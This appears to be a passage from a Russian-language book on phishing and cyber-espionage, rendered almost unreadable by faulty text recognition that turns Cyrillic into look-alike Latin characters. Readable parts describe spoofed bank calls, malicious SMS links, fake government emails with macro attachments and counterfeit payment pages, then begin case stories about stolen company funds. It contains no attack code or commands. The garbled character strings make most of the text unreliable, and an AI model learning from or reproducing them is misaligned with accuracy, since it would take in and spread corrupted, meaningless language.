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CTpeMuTe/IbHOE pa3BUTHeE TEXHOJOTUIL ¢ OOJMbIIMM BOOAYIIEBIeHMEM
O6bIO BCTpeUeHO JuIlaMM, CKIIOHHBIMM K pasjMuHoOro poza adepam
M IPYTUM MPECTYITHbIM JeSTHUSIM.

[t xuieHus JeHeXXHbIX CpeiCTB MOIlIeHHMKaM paHee MPUXOANI0Ch
nopAAenbiBaTh OyMaykHble IiaTeXHble MOPyYeHUsT U MIPUXOAUTb C HUMMU
B 0aHK, a JIyIs1 XUILeHUsT BasKHOM MHGbOopMaIuy TpeboBasoCh MPOHUKATh
B TMOMeIlleHUs TI0f, TIOKPOBOM HOYM M KpacThb 6o dotorpadupoBaTh
IOKYMEHTBI 3 XUTPOYMHBIX ceiidoB. Bce atu meiicTBusi, 6€3yCI0BHO,
OBLIM COTPSIKEHBI C BBICOKMM PUCKOM [IJIsI SKy/JAMKa ObITh MOMaHHbBIM
3a PYKYy ¥ HaKa3aHHbBIM I10 BCe¥i CTPOTOCTYU 3aKOHA.

MHTepHeT-TeXHOJIOTUNM U CeTU Tepegauy JaHHbIX CIIOCOOCTBOBAIMU
POCTY 2/IeKTPOHHBIX YUYETHBIX 3aIMceii, KOTOpbie XPaHST CEKPEThI MMOJIb-
30BaTesIei U MO3BOISIIOT 0OMEeHMBATHCSI BaXKHOM MHMOpMaliyeit, a BHeI -
peHue CUCTeM AMCTAHIIMOHHOTO OAaHKOBCKOTO OOC/TY>KMBaHMS M30aBUIIO
BJIaJIeJ/IbI[€B CUETOB OT HEOOXOAMMOCTH YaCThIX MOceleHi 6aHKOB I
CoBepIeHMs TIJIaTeXXHbIX Orepaiuii.

CTtpeM/ieHMe TIOMYYUTDb MPUOBLIIb OT HOBBIX TEXHOJIOTUI PeryaspHO
MIPUBOAUT K BHEJIPEHMIO Pa3IMYHbIX CUCTEM, IIPOTOKOJIOB U CTaHIaPTOB,
KOTOpble TpY BHMMAaTeIbHOM B3IVISiIe Ha HUX C APYroit TOUKU 3peHus
OKa3bIBAIOTCS TIOJTHBI BCEBO3MOXKHBIX YSI3BMMOCTEIA.

Tak, MoOCMOTpeB Ha JOCTVDKEHUST UeioBeuecTBa IO, APYTUM YIJIOM
3peHus], KpMMMUHAJbHBI MUP obOTaTU/ICS pasHooOpasyeM METO/I0B
MpecTyIieHNi, coBepillaeMbIX C MCIOJb30BaHMEM MHGOPMAaILMOHHbIX
TEeXHOJIOTUIA U CpeliCTB CBSI3K. [I03TOMY CerofHs Mbl MMeeM Maccy HO-
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BBIX BUJIOB MPECTYIUIEHUI M CXeM MX COBepIleHNs, TPeOYIOINuX u3yde-
HMS ¥ BbIPAaOOTKM aJITOPUTMOB IIPOTUBOAEIICTBUS.

MobuabHas CBsI3b, IHTepHeT, IIaTeKHbIE CHUCTEMBbI, CPeICTBA JIVC-
TaHI[MIOHHOTO OAHKOBCKOTO OOCTYKMBAHMS, 3JI€KTPOHHbIE YUEeTHBIE
3aMlMUCH — BCe 3TO XOPOIIO ITPOJAETCS MOTPEeOUTENIM M 3HAUMUTEIbHO
yIpoIaeT 6M3HeC-mpoIecchl.

Bce Tak Ha3bIBaeMble BbICOKME TEXHOIOIMM, hopmupyloiye nHbop-
MaIlMIOHHO€E MPOCTPAHCTBO, CTA/IM OTAEIbHBIM I10JIEM MPOTUBOCTOSTHUS
IIPECTYIIHOTO CEerMeHTa ¥ OOIeCTBa, IIPU 3TOM, €C/IM TOBOPUTD IIPSIMO,
cuTyalys 60Jble HalIOMMHAET OXOTY, YeM IIPOTUBOCTOSTHME.

BecunciieHHOe KOJIMYEeCTBO KMOePMOIIEHHMKOB U XaKePCKUX I'PYII-
MMMPOBOK, HABOASIIMX y>KaC Ha OTHeJbHBbIX I'PaskIaH, KOpHopaluuu, ro-
CyIapCTBeHHbIe OpPraHbl U Jlake 1iejible CTPaHbl, BbI3bIBAIOT TPEIleT BO3-
MYIIEeHMSI OT Geccuins, MOAIIMTHIBAEMOIO PEryIsIPHbBIMM BBIITYCKAMMU
cpencTB MaccoBoit mHpopMauyu. HeyoBMMOCTh ¥ OG€3HAKa3aHHOCTD
3JI0YMBIIIJIEHHUKOB, X Ka’KyIasicsl Be3IeCyIlHOCTb, HEIIOCTMKMMOCTh
METO/I0B U CPeJiCTB, KOTOPbIMU AeJiCTBYIOT 3/I0YMbIIIIJIEHHUKH, — BCE 3TO
co3maeT He OYeHb ONITMMUCTUYHYIO KapTUHY.

OcHOBHas CJIOKHOCTD [IJIsT OOIeCTBa ¥ TOCydapCcTBa B OTHOLIEHUMU
KubeprpecTyIieHuii cBsi3aHa € TeM, 4To cdepa KubeprpecTyIuieHuii
o6pocyia MHOXeCcTBOM MMGOB U CTepeoTUroB. HermpaBomepHbie O0-
CTYTIbI K KOMITBIOTEPHOJ MHMOPMALIMN, «B3JIOMbI» CAITOB U ITOUTOBBIX
SIIIIMKOB, aTaKy Ha PeCypChl U APYyrue KMOepIpecTyIieHus CBSI3bIBAIOT
C HEMbBICJIMMBIMM I10 CJIOKHOCTY Y T€HMAJbHOCTU TeXHUUYECKUMU ITPO-
1eccaMu, IOCTUYb KOTOPbIe MOKET [lajleKO He KaKabili. Tem He MeHee
OOJIBIIMHCTBO CaMbIX M3BECTHBIX KMOEpPIIPECTYIUIEHUII IIPOCTO B MC-
TOJIHEHMM U BIIOJIHE ITOAeTCsl aHa/lIM3y JII0ObIM 00pa30BaHHBIM Ue-
JIOBEKOM.

CambIM 3(pDeKTUBHBIM M3 METOHOB, IPMMEHSIEMbIX KaK Cepbe3HbI-
MM KMOepnpecTymHMKaMM, TaK U MeJIKMMM MOIIeHHUKAMM, SIBJISIETCS
dbummHr! Bo BCeM ero pasHooOpasuu. ITOT METOJ MOXKET MUCIIO0Ib30-
BaTbCSl B Pa3/IMUHbBIX BapualysIx, HO OCHOBHASI CyTh €ro 3aK/JIuaeTcs
BO BBEJIEHMM UeJI0BeKa B 3a0/IyKIeHMe C 1LIeJIbIO TTOYYEeHMS OT SKePTBBI
TpebyeMoii IjI1 IPOHUKHOBEHMS B 3alMINEHHYI0 cpeay MHGOpMalun
160 COBEpIIEHMSI II0JIb30BaTeIEM OIpeAeIeHHbIX AeiicTBMIL. OCHOBHBIE
BUIbI (QUIIMHTA OCYIIECTBJISIOTCS IIOCPEICTBOM CPEJICTB CBSI3U — TeJle-

U ®dummHr, aHr. phishing, ot fishing — ppIOHasI JIOBJISI, BBIYKMBAHME.
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(bOHHBIX 3BOHKOB, 37IeKTPOHHbBIX COOOILEeHMI U CIIel[Ma/IbHO CO3JaHHbIX
caitToB ((UIIMHT-IBIKKOB).

Ha ceromHsiiHMi eHb MOXKHO BBIIEIUTb HECKOJIBKO 060CO6IeHHbIX
TPYIIN TPeCTyIUIeHU, TaK WM MHaue CBSI3aHHbIX C QUILIMHIOM U ero
Pa3HOBUIHOCTSMM, COBepILIaeMbIX C MCIIOJb30BaHNEM TeIeKOMMYHMU-
KallMOHHBIX CeTell.

K opHoOI1 rpyrire npectynjaieHuii OTHOCITCS «Cjelble 3BOHKNU» I10
aGOHEHTCKMM HOMepaM, yallle BCEro OT MMEHU COTPYAHUKOB CITY>KOBI
6e30MMacHOCTH, KOJIIEHTPOB OAHKOB MJIM OIepaTOPOB CBSI3N.

Mo1ieHHMKaMM OCYIIeCTBSIOTCS TeeOHHbIe 3BOHKY 110 HOMEePHBIM
€MKOCTSIM MOOWJIBHBIX M CTallMOHAPHBIX TenedoHOoB. [Ipn ocyiiecTsie-
HIY 3BOHKOB MOIIIEHHVKM ITOAMEHSIIOT HOMep BbI3bIBAIONIEr0 aOOHEHTA
TakKMM 06pa3oM, YTO y BbI3bIBAEMOTO aOOHEHTa OTOOpaskaeTcsi HOMeP
TesiehoHa, IpUHAJJIEKAIIMIT COOTBETCTBYIOIEeMY OaHKY MU APYTOii
oduLMaNbHOM OpraHM3alnn, OT UMEHM KOTOPOJ eiiCTBYeT 3/I0YMBbIIII-
JICHHUK.

B npoiiecce o0ieHMs C KAMeHTaMy 6aHKa 37I0YMbIIIJIEHHUKN C UC-
[10JIb30BaHMEM METOJOB COLMAIIbHOM MHKEeHepUN IOMyJaroT CBeLeHus
0 PeKBU3UTAX, MPUHAJIEKAIMX OTEPIeBIINM, 6aHKOBCKMX KapTax
" HYI0 MHGOPMAILVI0, HEOOXOAVIMYIO JIJIST OCYIIeCTBIEHMS AVUCTAaHIIVOH-
HbBIX OIlepaLuii 110 IepeBOLY AeHeXHbIX cpelcTB. [Towie yero ¢ ucmnosnb-
30BaHMEM CUCTEMBI YIAaTIeHHOTO 6aHKOBCKOTO OOCTY>KMBAHMSI 37I0YMbIIII -
JIEHHUKM OCYIIeCTBJISIOT XUIlleHMe AeHeXHbIX CpelCTB ¢ OaHKOBCKUX
CYeTOB U IIATEXHBIX KapT.

TexHo/MOrMSI MOJMEHbI AOOHEHTCKOTO HOMEpa ¥ CBSI3aHHAs C 9TUM
MIPeCTYITHAs IesITeJIbHOCTh OYAYT ellle 3aTPOHYTHI Aajee (Ir. 3.3.1).

K mpyroii rpy1ine npecTymieHunii, UCIIONb3YIOMMX QUIIMHT, MOXHO
OTHECTM PACChUIKM COOOIIEeHMIA, CoMepsKalMX CCbUIKM Ha CKavYMBaHMe
BpPEIOHOCHOTO ITPOrpaMMHOro obecrieueHus . COOOIEHNST pPACChUIAIOTCS
Kak B Buje SMS Ha abOHEHTCKMe HOoMepa, TaK U B BUIE DIEKTPOHHbBIX
coObI1IeHNi Ha MTOYTOBbIE SIIMKY, MeCCeH/IKePbI 1 aKKayHTbI COLIMAb-
HbBIX CeTe.

OnuH 13 MPOCTBIX IPUMEPOB 3TOV KAaTErOpuM IPeCTYyIJIEHUN TPpaK-
TuKoBayicd B 2013-2014 ropgax, B HEKOTOPBIX pPerMoHax BCTpedyaeTcs

! BpemonocHbsIM I10 B cooTBeTCTBUM €O CT. 273 YK PO NpMHSITO CUUTATH KOMITbIOTEP-
HYI0 TIpOrpaMMy, IpefHa3HaYeHHYI0 [/ HECAHKIIMOHMPOBAHHOTO YHUUYTOXEHMSI,
GJIOKMPOBaHMs, MoAM(UKAIIMYM, KOMMPOBAHMS KOMITBIOTEPHOV MHGOPMAILUM VI
HeNTpaau3aIuy CPeaCTB 3alUThl KOMITbIOTEPHON MHGOPMAIUA.
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" TI0 celi neHb. [IpMMeHsiiach cxeMa, 11eJIbl0 KOTOPOJi ObLJIO 3apaskeHue
MOOMJIBHOTO TejiepoHa BPegOHOCHON IMPOTrpaMMOii, OCYILIEeCTBJISIOIIE
pacchliky coo01eHMi Buaa: «/Msi KOHTaKTa M3 3alMCHOM KHUKKY MO-
6unbHOro tenedoHa, misg Bac ectb HoBoe MMS-coob6mienne. CcbliKa»
mnu «/IMsi KOHTaKkTa U3 3alMCHOM KHMUKKM MOOMIIBHOTO TesnedoHa, 1Mo
Bariemy o0bsiB/ieHMIO Ha caiiTe. MoxkeT, o6MeHsieMcsi? CcblIKar.

O6UIMM TMPU3HAKOM [IJISI BCEX aHAJIOTMUHBIX COOOIIEHUI SIBJISIIOCH
HaJimyme obpalneHus K abOHEHTY 10 MMEeHU MO0 MMeHU-OTUYECTRY,
B 3aBMCMMOCTHM OT TOT'O, KaK OH ObUT BHECEH B 3aIMCHYIO KHVDKKY paHee
3apakeHHOTO MOOWIBHOTO TesepoHa, a TakKe 06s3aTeIbHOE Haauume
CCBUIKM HA MHTEPHET-PeCcypC.

[Tpu mepexopie MO CChUIKE Ha MOOWIBHOE YCTPOVICTBO MOTEPIIEBILETO
CKauMBaeTCcsl BpeAOHOCHOe IMporpaMMHOe obecrieueHne, KOTopoe IoJTy-
YyaeT AOCTYII K Tesie)OHHOV KHUTe MOOUILHOTO TesiedOHa IJ1s1 OCYIIEeCTB-
JleHUsl JanbHeMIINX pacChblJIOK COOOIeHM, comepkaluxX CCbUIKM Ha
CKauylMBaHMe BPeJOHOCHOTO MMPOTpaMMHOr0 obecrieueHusi. B 3aBucumo-
CTU OT TUIIA BPE€JOHOCHON MPOrpaMMbl MOIJIa TaKKe MPUCYTCTBOBATh
(dyHKIIMS, TT03BOJISIOILASI CKPBITO OT MOIb30BaTENsI OTIIPABJISITh U TOJTY-
yaTh SMS-co00IIeHNsT B LIeJISIX COBEPIIeHMS OoIepaluii ¢ MPUBSI3aHHbI-
MM K aOOHEHTCKOMY HOMepy MoTepIieBlliero 6aHKOBCKMMM KapTamMu
U 3JIEKTPOHHBIMM KOLIETbKAMM.

YacTeIMM SIBAEHUSIMU CTAIU PACCBUIKU 3JIEKTPOHHBIX MMMCEM OT JIMIiA
rocyiapCTBEHHBIX OPraHOB C BIOXeHMeM (aiiyioB, comepKalinx Bpe-
IOHOCHBIE AJITOPUTMBI, JIMOO YIIOMSIHYThIE BBIIIE CChIIKM Ha CKavMBa-
HJe BpeJOHOCHOTO MPOrpaMMHOTO0 obecrieueHns1. 371I0yMblILIJIEHHUKAMMU
OCYILLEeCTBJISIETCS PACChlIKA 3JI€KTPOHHBIX MMCEM OT MMEHM IMPOKypa-
TYPbI, HAJIOTOBO¥ CTYKOBI, B TeMe KOTOPbIX yKa3bIBAaeTCs, HAIIpuMep,
«[Ipenmnucanue 06 ycTpaHeHUM HapyleHui», «llltpad», «CBepkar.

B KauecTBe mpuMepa MOJ0OHOI PaCChIIKM Ha 3JIEKTPOHHbBIE ITOYTO-
Bble aJipeca MOXXHO MIPMBECTU PAaCChUIKY (PUIIMHTOBBIX MICEM OT MMEHMU
banka Poccuu, Tak HasblBaeMble «BaKaHCUM», OTIMUUTEIbHOM 4epToi
KOTOPBIX SIBJISIZIOCh HaJIMuMe BIIOKEHMSI C 3aTOJIOBKOM BU[Ia «BaKaHCUS
NoXX.doc». CornacHo otyety FinCERT! (LleHTpa MOHUTOpPMHIA U pea-
TMpPOBaHMS Ha KOMIIbIOTEpPHbIe aTaku B KpeAUTHO-(PMHAHCOBOI cdepe

! Oruet LieHTpa MOHUTOPUHTA U pearMpoBaHMsI Ha KOMITbIOTEpHbIE aTaK! B KPeauT-
HO-(uHAHCOBOI cdepe [MTaBHOTO yrpaBieHMs 6€30TacHOCTM U 3alUTh MHPOpMa-
uyyu banka Poccum 3a mepuop ¢ 1 mionst 2015 1. o 31 mas 2016 1. URL: http://www.
cbr.ru/statichtml/file/14435/fincert_survey.pdf.


http://www.cbr.ru/statichtml/file/14435/fincert_survey.pdf
http://www.cbr.ru/statichtml/file/14435/fincert_survey.pdf
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[71aBHOTrO yrpaBjieHuUs 6€30MacHOCTY M 3aIIuThl MHGoOpMaIuy baHka
Poccuint), BO BIO>KeHMM TaKMX COOOIeHUI cofepyKaics MaKpoC, BbITION -
HSIIOIIVMI CKauMBaHMe 3arpy3umnka BpengoHocHoro I10.

C uenbio NpUAAHNUS JOCTOBEPHOCTU JAaHHBIM MMCbMaM IJIsI pACChLIKU
UCITONB3YIOTCSI JIEKTPOHHbBIE afpeca U JOMEHHbIe MMeHa, BU3YaJlbHO
CXOXMe C JOMEHHBIMM MMeHaMM peajbHbIX CaliTOB rOCYAapCTBEHHBIX
opraHoB. [Ipu nepexopne 10 CChUIKE, COIepXKalleil Takoe JOMEHHOe UM,
MOYKeT OCYIIeCTB/ISIThCS [lepeHalrpaBieHe Mo/ib30BaTesst Ha opuiiab-
HbBI CAlT COOTBETCTBYIOIIEN TOCYIapCTBEHHOM CTPYKTYPBDI.

B TekcTe muMcbmMa OT MMEHM OOJDKHOCTHBIX JIMI, KaK MPaBUJio, U3-
JaraeTcs BaKHasl MIPUUYMHA, IO KOTOPOJ He3aMemJIUTeIbHO TpebyeTcst
OTKPBITb BJIOXKEHHBI (paiii, MMMt BII, 5JIEKTPOHHOTO TOKYMEHTa,
60 TIepeiTH 10 CoepsKalleiics B IM1CbMe CChIJIKe HAa MHTEPHEeT-pecypc.

[Tocsie OTKPBITUSL JOKYMEHTA MJIM COBEPLIEHMS epexoa Mo CChLI-
Ke KOMIIbIOTEp I0Jb30BaTeNsl 3apakaeTcsi BpeAOHOCHBIM ITPOTPaMM-
HbIM ObecrieyeHueM, KOTOpOe B 3aBUCUMOCTM OT 3aJIOKEHHOTO B HETO
(byHKIMOHAIA MOXEeT 3a6JJ0KMPOBATh AOCTYIT K MMEIIIUM 3HaueHMe
n71st GMHAHCOBO-X03SI/ICTBEHHOM OesITeIbHOCTM OpraHu3anuu daiiiam
(moxkymMeHTaM, 6a3aM JAaHHBIX OYXTaJaTEPCKMUX U CKIAACKUX ITPOrPAMM)
C MOC/IeAYIONIMM BbIMOTaTeTbCTBOM JAeHEKHbBIX CPeACTB 3a UX Pa30/IoKu-
POBKY (pacuim@poBKy); 1160 MOKET YIIPaBJISTh IPOTPAMMOi1 yIaIeHHO-
ro 6aHKOBCKOTO OOCTY>KMBaHMS ¥ (POpMIMPOBATD TIATEXKHBIE TTOPYUEHUSI
C BHECEHMEM B PEKBU3UTHI MTOIyYaTeNsI CPEACTB JaHHBIX [TOAKOHTPOJIb-
HBIX 3JI0YMBILIJIEHHUKAM CYETOB.

Hcnonb3oBaHMe QUILIMHTOBBIX CAlATOB COCTABIISIET TPETHIO YCIOBHYIO
TPYTIITy TIPeCTyIlJIeHN, CBSI3aHHbIX C (QOUIIMHTOM.

OTa rpyIiia BKIJaeT B ce6s1 co3gaHye caiiToB, 0pOPMIEHHBIX B BUIE
MOYTOBBIX CEPBUCOB, 0AHKOBCKIUX PECYPCOB, COI[MATbHbIX CETei MU UH-
TepHeT-MarasuHoOB.

[IprMepoM TaKO¥ He3aKOHHOI IeSITeIbHOCTY MOKET ObITh MHTEPHET-
MarasyH, TOPIYOIIMii TOMYISIPHBIMM TOBapaMu, 3a4acTyI0 110 CHM)KEH-
HBIM I]€HaM, 10 CPAaBHEHUIO CO CpeJHEePbIHOYHBIMM.

3710yMBIIIJIEHHUKAMM CO3Ja€eTCs CAlT, BUSYAJIbHO CXOXUI C yKe Cy-
MIECTBYIOIIMM, «pacKpPy4eHHbIM», JIMO0 COBEPIIEHHO HOBBIN MHTEp-
HeT-Mara3uH. [Ipu 3akase ToBapa OCyLIeCTB/SIETCSl [lepeHarpaBieHye
Mojb30BaTesisi Ha (QUIIMHTOBYIO CTPAHUILY OIJIaThl, IPAKTUUYECKM He
MMEIOUTYI0 OT/IMYMIA OT CTPaHMIIbI OULIMATIBHON TJIATEKHOM CUCTEMBI.
[Ipu BBOJE TOB30BaTENEM Ha JAHHON CTPaHULE YUETHBIX JaHHbBIX OJIS
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BXOZIa B JIMUHBI KaOMHET IUIATEKHOV CUCTEMbI OHU, ECTECTBEHHO, ITOTIa-
IAlOT B pacIiopsbKeHNe 3JI0YMbIIIEHHMKAM, I10C/Ie Yero UCIOIb3YITCS
IJII XUIEHUS JeHEKHBIX CPEACTB CO CUETOB MEKTPOHHOIO KOIleJbKa.

Haun60:bI11yI0 ke MOITy/ISIPHOCTb GUIIMHT MPUOGPeNT Y OXOTHUKOB 3a
YYKMMM TTApOISIMU. DTO IPyIIe KUOepIpecTyIIeHuii B KHUTe yie-
JleHo ocoboe BHMMaHMe, IOTOMY UTO aBTOP CUMTAeT 3TO HallpaBjieHNe
KubepripecTynjieHnii Haubojiee ONMacHbIM M, COBEPIIEHHO HaITpacHo,
He0O0LeHMBAeMbIM Kak I10JIb30BaTeISIMM, TaK U CIIeUUaaIUCTaMMU.

Pa3HooOpa3Hble OHJIAliH-CEePBUCHI U TaJiKeThbl, IPOTPAaMMBbl U TeX-
HOJIOTUM BOIJIM B KM3Hb UejiOBeKa, BHEAPUJINUCH B GM3HEC-TIPOLIeCChI
Y TOCYOapCTBEHHbBIE YCIYTH, HAYaIy UCIIOAb30BaThCS B MOJIMTUKE U, 3a-
KOHOMEPHO, CT/IM MHCTPYMEHTAaMM Y MUILEHSIMU IIPECTYITHO AesTeNb-
HOCTH.

Havasiom 3pbl KOMITBIOTEPHOV KMOGEPIIPECTYITHOCTH aBTOP CKIOHEH
cuntaTh 2005-2006 rompl. MHOrMMM criernanucramu 2007 rom yKasbl-
BaeTCs KaK TOYKa OTCUeTa — HayvaJio IIMPOKOMACIITAOHBIX KMOGEepBOIH
(xkubeparakyu Ha pecypchbl ['epmanum, dcToHun, 3ateMm I'pysun, Mpana).
C oTUM mepuoaoM CBSI3aHO Havanao MpodecCcruoHaIbHOTO MCIIOIb30Ba-
HUSI KUOEePIIMOHaKa J1s1 JOCTVDKEHUI OTIpele/IeHHbIX 11esieii — huMHaH-
COBOJ1 BBITOZbI, KPaski MHTEJJIEKTYyaIbHOV COOCTBEHHOCTM, ITPOTIaraH bl
" TIpouero. I OCHOBHBIM OPY>KMeEM [J1s1 BeIeHUsI KUbepBOIH 1 peann3a-
MY KMOepIIoHaxka cTaax QUIINHT.

KubepmmoHax 3acTajl BpacIuioX KOHCEPBATUBHBIX YIIPaBJIeHIIEB
BCEX MacCTe¥, CYMTABIINX, YTO CYIeCTBYIOIIME ITpaBuia M Mepbl 6e30rmac-
HOCTM CIIOCOOHBI 3aIUTUTh MH(POPMAIMIO U (PMHAHCHI.

PeryinisipHO nipuBIieKaeT BHMMaHue nosipsitouuecs: B CMU u Ha pocTo-
pax MIHTepHeTa OTPBIBKY JTMYHO TePEerCcKy 6M3HECMEHOB, ITOIUTUKOB,
PasIMYHbIX KOPIIOPATUBHBIX MaTEPUAJIOB, JOKYMEHTOB AJISI CTY>KeOHOTO
1osib30BaHMsl, hoTorpaduit M3BeCTHBIX NI, MOJeseli, BeayIyuX, aKTPUC
U OPYTUX MEOUITHBIX JIMYHOCTEN, KOTOPbIe MOXUIAKTCS U3 IMOUYTOBBIX
aKKayHTOB, 0OGJIAYHbIX XPaHWIUII], CEPBEPOB ¥ MOOWJIbHBIX Tele(hOHOB.

MHorue unTaTeau CIbIaJIN PO UHTEPHET-IIOLAAKY, KOTOPYIO CBSI-
3BIBAIOT C [ esITeJIbHOCThIO HalrymeBIuel B 2016—-2017 rogax xakepckoit
rpynnupoBku. Ha Toii tiomagke, HeCMOTpPS Ha mosBuBurytocss B CMU
MHbOopMalNIo 0 3aJilepsKaHMM YIeHOB JaHHOV XaKepCKOJi TpymIibll, 1 ce-

I CMU ysHanu o 3amepskanuy ®@CB cospmatens caiira «Illanrtaii-bonraii» // PBK. URL:
https://www.rbc.ru/politics/28/01/2017/588c8ddf9a79475260f2elda.
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TOAHS TIpeAJiaraeTcsl BCeM JKealolMM MIPUOOPECTU IEKTPOHHYIO ITie-
PErCcKy YMHOBHMUKOB ¥ OM3HECMEHOB 3a KPUIITOBAJTIOTY.

CeronmHst KMOEpIIMOHAXK 3aJleBaeT BCEX, KTO SIBJISIETCSI HOCUTeNIeM
MHbOopMalLyi, 32 KOTOPYIO TEOPEeTUUECKM MOKHO MTOTYYUTh AeHbI'U, KTO
BJIaJleeT Wi yIIpaBsieT GuHaHCaMM, KTO IPMHMMAaeT BaskHbIe pellleHus,
" aXe TeX, KTO MPOCTO KOMY-TO MHTepPeCeH.

B 3T0i1 KHITe He OyIyT 3aTPOHYThI MeKAYHAPOJHbIe OTHOIIEHNS U ITPO-
TUBOCTOSTHVE CEKPETHBIX CIEIMATbHbIX CITYKO0, 9TO KaK-HMUOY/Ib B CIEIYI0-
LIMI1 pa3, JIeT yepe3 TpuAaLuaTb. MaTepuana KHUIM KacaeTcsl TPaskIaHCKOTo
CMBICJIOBOTO 3HAaUEeHMSI KMOepIINMoHaska, KOTOpoe CBsI3aHO C HeCaHKIIMO-
HMPOBAHHbBIM TOTy4YeHNeM U MCII0/Ib30BaHMEM KOMITbIOTEPHOI MHMOp-
MalyyM Bparom: KOHKypeHTaMM, XaKepamu, MOILIEeHHMKaMy, MaHbSIKaMMU.

Kubepataky cTaau MacCOBBIM SIBJIeHMEM, a X HaIlpaB/ieHUsI 3ajieBa-
10T Bce cepbl ob1IecTBa.

B cTONb MIMPOKOM pacIIpOCTpaHeHMM KMUOepIpecTyIIeHMI HEKOTO-
pbie CIiel[MaJuCThl CKIIOHHBI BUHUTD MOJIb30BaTeseil, He Bceraa cobJIio-
IamlX 0ObIKHOBEHHbIe TTpaBi/ia KOMITbIOTEPHOI 6€301acHOCTH, CpaB-
HMBas 3TU MpaBwia C cCOOMOgeHeM MpaBul JOPOKHOTO ABUKEHUS.
OnHako, IT0 MHEHMIO aBTOpa, 6ema Mpuiiia ¢ Ipyroii CTOPOHBDI.

[Ipourpsii nepen MHGOPMAILMOHHOM YIp0o30i1 ObUI IpeaHauYepTaH
0COOEHHOCTSIMM TICUMXOJIOTUM 4YejoBeKa. VIMEeHHO TICUXOJIOTUSI CTajia
OCHOBHO ySI3BMMOCTbIO, TEM MECTOM, Ile MHCTPYMEHTbI COLMATIbHOI
MHXEHEePUM YCIIEUIHO 3KCIUIyaTUPOBaIM SMOLIMM, CTEPEOTUIIBI U acCo-
LIMaTUBHOE MbIIJIEHME.

CnoxkuBIieecs: BrieyatiaeHue 06 3peKTUBHOCTM IMPOrpaMMHO-aIl-
rapaTHbIX CPeACTB 3alUThl, Bepa B JOPOTOCTOSLIME pELIeHUs U He-
IPaMOTHbBIE MHCTPYKIUU JINIIb YCYTYOMIN TIPO6JIeMy KOMITbIOTEPHOIA
6e30MmacHOCTH.

HecMoTpst Ha cepbe3Hble 3aTpaThl, BKIaJbIBa€MbIe B OOecIieueHe
6e30IacHOCTM, KOJIMYECTBO M MHOTOOOpasue mpecTyIjieHnii, coBep-
[1aeMbIX C UCIIOJIb30BaHMEM KOMIIBIOTEPHBIX TEXHOJIOTUI, BO3pacTaeT
C K&KIbIM roioM. Bce yallle opuanyeckue Juia HeCyT penyTalOHHbIe
1 ¢UHAHCOBBIE MOTEPU OT Kpaxkyu MHOOpPMALMM, COCTAB/ISIONIEN KOM-
MepuecKyIo TaiiHy, ¥ MoJBepralTcs KubepaTakam.

[t meMOHCTpauuy Hambosiee TOIMYISIPHBIX CUTYaIMii, CBSI3aHHBIX
C IipuMeHeHMeM QuIlMHTa, OyaeT HeTMITHUM IPUBECTU HeCKOIbKO TH-
MMAYHBIX UCTOPUIL, CBOEOOPa3HbIX 00PA3I0B aKTyaJIbHOTO B CETOHSIIII-
HJe JHU TPaKIaHCKOTO KMOepIinMoHaxka.
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LecTb TUNUYHBIX UCTOPUIA

Ucmopus nepsas

ByxranTepuss o6CcayskuBasia HECKOJbKO OpTaHM3aIMil, BXOOSIINUX
B OOMH XOJIIVHT. Bce miaTesku mMpoOBOOMINCH C MCIIOb30BaHMEM CHU-
CTeMbI IUCTAHIMOHHOTO 6AHKOBCKOTO OOCTYKMBAHMS TOTbKO OJHUM
JIUIIOM — TJIaBHBIM OGyxraysirepom. IaTexku B KOMITAaHUY TTPOBOAVIIVCh
CTporo mo rpaduky u ¢ 06s13aTeIbHbIM COOII0AEeHEM Pa3pabOTaHHbBIX
MHCTPYKUMIA.

CucreMa OMCTAHIMOHHOTO OOCTYXMBaHMSI KOMITAHUY, HA KOTOPYIO
MIPUXOOMIACh OCHOBHASI KOMMepYecKasl IesiTelTbHOCTh, OblyIa 3aluie-
Ha SMS-noaTBepkaeHneM Ha KakK[bll IJIaTEX, OOHAKO Takas cucreMa
MpeaycMaTpUBaeT HACTPOIMKY JOBEPEHHBIX IIaTeXeil Ha M36paHHbIX
KOHTPAreHTOB.

Ha BTOpY0 OpraHu3anuio, BXOASIIYI0 B XOJIIMHT, C OCHOBHOV KOMIIa-
HUM PETY/ISIPHO MTePeBOIMINCD JeHEKHbIE CPEeICTBA /IS OTIAThI pa3jiny-
HbIX KOMMYHQJIbHBIX YC/IYT, B CBSI3M C UeM TaKMe IIaTeXu ObUIM JoBe-
PEHHBIMU, & 3HAYMT, HA JAHHOTO KOHTpareHTa SMS MOXXHO He Io/y4yaTh
" He TpebyeTcs] BBOAUTD KOJ, ITOATBEPXKIEHNS.

B onuH npeKpacHbIii IeHb, IPpKUIS Ha pabouee MeCTO, IIaBHbIN OyX-
rajiTep He CMOT 3aITyCTUTh CBOJ KOMITBIOTEP IT0 HEKMM TEXHUYECKUM
MpUYMHAM, 1, COOTBETCTBEHHO, BOMTM B CUCTEMY IMCTAHIIMOHHOTO OaH-
KOBCKOT'O OOC/TY>KMBaHMSI Takke He ymanoch. CIrieluaamcTbl TeXHuYe-
CKOJi TOAIep>KKM MOPEKOMEHI0Ba/IM MePeyCTAHOBUTD MTPOrpaMMbl Ha
MCITOJIb3YEMOM KOMITbIOTEpE U ITPOBECTM ITPOBEPKY HA BUPYCHI.

[Toka cHCTeMHbBII aIMUHUCTPATOP OPraHM3aLy 3aHMMAJICSI KOMITbIO-
TepOM, OyXrasTep roexaa B 6aHK, Iie BbIICHUIIOCH, YTO C 00eMX OpraHu-
3aLMii XOJAMHTA ITOXuIeHo 6oee 20 MIH pyo6Iieii.

Ucmopus emopas

PykoBoguTenb KpyrmHOM OpraHmM3aluy MHOIO JIEeT AJIS1 IUYHOM U [eJi0-
BOJ1 MepenmuCcKu UCII0JIb30Bajl JIEKTPOHHLIN aZipec «TaKoi-To». [Tapoib
MEHSUT PETYJISIPHO, IPUOIM3UTENIBHO Pa3 B KBApTall, M BCe ITapojIu Mpu-
IYMBIBAJI CJIOSKHBIE, COCTOSIIITME U3 PA3/TIMYHBIX COUeTaHM OYKB 1 IUdp.
JIJ1s1 321U ThI OT BPEAOHOCHBIX IPOrpaMM Ha YCTPOMCTBAX — MOOMJIBHOM
Tene)OHE U HOYTOYKe, MCIOIb3yEMbBIX IJISI BXOA B aKKAyHT, — ObLIN
YCTAHOBJIEHBI TUIATHbIE AHTUBUPYCHbIE TTPOLYKTHI.
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OpmHaxkIbl HA 3JIEKTPOHHbIN afipec JaHHOMY OM3HEeCMeHY OT He3HaKO-
